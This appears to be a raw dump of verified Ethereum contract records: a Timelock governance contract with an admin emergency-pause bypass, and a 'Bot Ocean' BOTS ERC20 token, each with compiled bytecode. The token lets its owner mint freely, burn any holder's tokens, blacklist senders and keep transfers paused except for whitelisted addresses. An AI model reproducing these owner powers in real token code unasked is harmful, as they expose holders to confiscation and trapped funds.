(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IPausable { function pause(uint256) external; } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } function emergencyPause(address target, uint256 flags) public { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); IPausable(target).pause(flags); } }
0x6080604052600436106100e15760003560e01c806370dd7f1a1161007f578063c1a287e211610059578063c1a287e214610641578063e177246e14610656578063f2b0653714610680578063f851a440146106be576100e8565b806370dd7f1a146105de5780637d645fab14610617578063b1b43ae51461062c576100e8565b80633a66f901116100bb5780633a66f901146102ea5780634dd18bf514610449578063591fcdfe1461047c5780636a42b8f8146105c9576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106d3915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610bd3565b005b3480156102c557600080fd5b506102ce610c6f565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b50610437600480360360a081101561030d57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561033c57600080fd5b82018360208201111561034e57600080fd5b803590602001918460018302840111600160201b8311171561036f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460018302840111600160201b831117156103f457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c7e915050565b60408051918252519081900360200190f35b34801561045557600080fd5b506102b76004803603602081101561046c57600080fd5b50356001600160a01b0316610f80565b34801561048857600080fd5b506102b7600480360360a081101561049f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ce57600080fd5b8201836020820111156104e057600080fd5b803590602001918460018302840111600160201b8311171561050157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055357600080fd5b82018360208201111561056557600080fd5b803590602001918460018302840111600160201b8311171561058657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061100e915050565b3480156105d557600080fd5b506104376112bb565b3480156105ea57600080fd5b506102b76004803603604081101561060157600080fd5b506001600160a01b0381351690602001356112c1565b34801561062357600080fd5b5061043761136c565b34801561063857600080fd5b50610437611373565b34801561064d57600080fd5b5061043761137a565b34801561066257600080fd5b506102b76004803603602081101561067957600080fd5b5035611381565b34801561068c57600080fd5b506106aa600480360360208110156106a357600080fd5b5035611476565b604080519115158252519081900360200190f35b3480156106ca57600080fd5b506102ce61148b565b6000546060906001600160a01b0316331461071f5760405162461bcd60e51b81526004018080602001828103825260388152602001806115006038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561078557818101518382015260200161076d565b50505050905090810190601f1680156107b25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107e55781810151838201526020016107cd565b50505050905090810190601f1680156108125780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061088396505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611653603d913960400191505060405180910390fd5b8261088c61149a565b10156108c95760405162461bcd60e51b81526004018080602001828103825260458152602001806115a26045913960600191505060405180910390fd5b6108d6836212750061149e565b6108de61149a565b111561091b5760405162461bcd60e51b815260040180806020018281038252603381526020018061156f6033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906109415750836109c4565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b6020831061098c5780518252601f19909201916020918201910161096d565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b60208310610a035780518252601f1990920191602091820191016109e4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a65576040519150601f19603f3d011682016040523d82523d6000602084013e610a6a565b606091505b509150915081610aab5760405162461bcd60e51b815260040180806020018281038252603d815260200180611736603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b28578181015183820152602001610b10565b50505050905090810190601f168015610b555780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b88578181015183820152602001610b70565b50505050905090810190601f168015610bb55780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610c1c5760405162461bcd60e51b81526004018080602001828103825260388152602001806116906038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610cc85760405162461bcd60e51b81526004018080602001828103825260368152602001806117006036913960400191505060405180910390fd5b610cdc600254610cd661149a565b9061149e565b821015610d1a5760405162461bcd60e51b81526004018080602001828103825260498152602001806117736049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d80578181015183820152602001610d68565b50505050905090810190601f168015610dad5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610de0578181015183820152602001610dc8565b50505050905090810190601f168015610e0d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610ed8578181015183820152602001610ec0565b50505050905090810190601f168015610f055780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f38578181015183820152602001610f20565b50505050905090810190601f168015610f655780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610fbe5760405162461bcd60e51b81526004018080602001828103825260388152602001806116c86038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146110575760405162461bcd60e51b81526004018080602001828103825260378152602001806115386037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110bd5781810151838201526020016110a5565b50505050905090810190601f1680156110ea5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561111d578181015183820152602001611105565b50505050905090810190601f16801561114a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112155781810151838201526020016111fd565b50505050905090810190601f1680156112425780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561127557818101518382015260200161125d565b50505050905090810190601f1680156112a25780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b6000546001600160a01b0316331461130a5760405162461bcd60e51b81526004018080602001828103825260388152602001806115006038913960400191505060405180910390fd5b816001600160a01b031663136439dd826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561135057600080fd5b505af1158015611364573d6000803e3d6000fd5b505050505050565b62278d0081565b6202a30081565b6212750081565b3330146113bf5760405162461bcd60e51b81526004018080602001828103825260318152602001806117bc6031913960400191505060405180910390fd5b6202a3008110156114015760405162461bcd60e51b81526004018080602001828103825260348152602001806115e76034913960400191505060405180910390fd5b62278d008111156114435760405162461bcd60e51b815260040180806020018281038252603881526020018061161b6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156114f8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea264697066735822122030f35b26e13e662e76450ec96edc6692d81c942931197b3f7829d16bb0956c0f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,089
0xf9fbe825bfb2bf3e387af0dc18cac8d87f29dea8
/** *Submitted for verification at Etherscan.io on 2020-10-12 */ pragma solidity 0.7.3; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add( uint256 a, uint256 b ) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub( uint256 a, uint256 b ) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul( uint256 a, uint256 b ) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div( uint256 a, uint256 b ) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod( uint256 a, uint256 b ) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract( address account ) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue( address payable recipient, uint256 amount ) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor () { address msgSender = _msgSender(); owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership( address newOwner ) onlyOwner external { require(newOwner != address(0), "Ownable: new owner is the zero address"); pendingOwner = newOwner; } function claimOwnership() external { require(_msgSender() == pendingOwner); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } abstract contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = true; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused external { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused external { paused = false; emit Unpause(); } } abstract contract Whitelist is Pausable { mapping(address => bool) public whitelist; mapping(address => bool) public blacklist; modifier isWhitelisted() { require(whitelist[_msgSender()]); _; } modifier isBlacklisted() { require(blacklist[_msgSender()]); _; } function addWhitelist( address account ) public onlyOwner { whitelist[account] = true; } function removeWhitelist( address account ) public onlyOwner { whitelist[account] = false; } function addBlacklist( address account ) public onlyOwner { blacklist[account] = true; } function removeBlacklist( address account ) public onlyOwner { blacklist[account] = false; } } abstract contract ERC20 is Whitelist, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; string internal _website; uint8 private _decimals; constructor ( string memory name, string memory symbol ) { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function website() public view returns (string memory) { return _website; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) canTransfer internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier canTransfer() { address msgSender = _msgSender(); require(whitelist[msgSender] || !paused); require(!blacklist[msgSender]); _; } function _setupDecimals( uint8 decimals_ ) internal { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { } } contract BOTS is ERC20("Bot Ocean", "BOTS") { function mint( address _to, uint256 _amount ) public onlyOwner { _mint(_to, _amount); } function burn( address _from, uint256 _amount ) public onlyOwner { _burn(_from, _amount); } function setName( string memory _newName ) public onlyOwner { _name = _newName; } function setSymbol( string memory _newSymbol ) public onlyOwner { _symbol = _newSymbol; } function setWebsite( string memory _newWebsite ) public onlyOwner { _website = _newWebsite; } function tokenFallback( address _from, uint256 _value, bytes memory _data ) public { revert(); } function takeOut( IERC20 _token, uint256 _amount ) external onlyOwner { _token.transfer(owner, _amount); } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80639b19251a1161010f578063c47f0027116100a2578063f2fde38b11610071578063f2fde38b14610bb2578063f80f5dd514610bf6578063f87f44b914610c3a578063f9f92be414610cf5576101f0565b8063c47f002714610a07578063dd62ed3e14610ac2578063e30c397814610b3a578063eb91e65114610b6e576101f0565b8063a9059cbb116100de578063a9059cbb14610780578063b84c8246146107e4578063beb0a4161461089f578063c0ee0b8a14610922576101f0565b80639b19251a146106305780639cfe42da1461068a5780639dc29fac146106ce578063a457c2d71461071c576101f0565b80634e71e0c8116101875780638456cb59116101565780638456cb59146105215780638da5cb5b1461052b57806395d89b411461055f5780639a1fb4ce146105e2576101f0565b80634e71e0c81461045b5780635c975abb1461046557806370a082311461048557806378c8cda7146104dd576101f0565b8063313ce567116101c3578063313ce5671461037e578063395093511461039f5780633f4ba83a1461040357806340c10f191461040d576101f0565b806306fdde03146101f5578063095ea7b31461027857806318160ddd146102dc57806323b872dd146102fa575b600080fd5b6101fd610d4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023d578082015181840152602081019050610222565b50505050905090810190601f16801561026a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c46004803603604081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df1565b60405180821515815260200191505060405180910390f35b6102e4610e0f565b6040518082815260200191505060405180910390f35b6103666004803603606081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e19565b60405180821515815260200191505060405180910390f35b610386610ef2565b604051808260ff16815260200191505060405180910390f35b6103eb600480360360408110156103b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f09565b60405180821515815260200191505060405180910390f35b61040b610fbc565b005b6104596004803603604081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e6565b005b6104636111bc565b005b61046d61135f565b60405180821515815260200191505060405180910390f35b6104c76004803603602081101561049b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611372565b6040518082815260200191505060405180910390f35b61051f600480360360208110156104f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113bb565b005b6105296114de565b005b610533611608565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61056761162c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a757808201518184015260208101905061058c565b50505050905090810190601f1680156105d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61062e600480360360408110156105f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ce565b005b6106726004803603602081101561064657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611867565b60405180821515815260200191505060405180910390f35b6106cc600480360360208110156106a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611887565b005b61071a600480360360408110156106e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119aa565b005b6107686004803603604081101561073257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a80565b60405180821515815260200191505060405180910390f35b6107cc6004803603604081101561079657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b4d565b60405180821515815260200191505060405180910390f35b61089d600480360360208110156107fa57600080fd5b810190808035906020019064010000000081111561081757600080fd5b82018360208201111561082957600080fd5b8035906020019184600183028401116401000000008311171561084b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b6b565b005b6108a7611c4d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108e75780820151818401526020810190506108cc565b50505050905090810190601f1680156109145780820380516001836020036101000a031916815260200191505b50925050506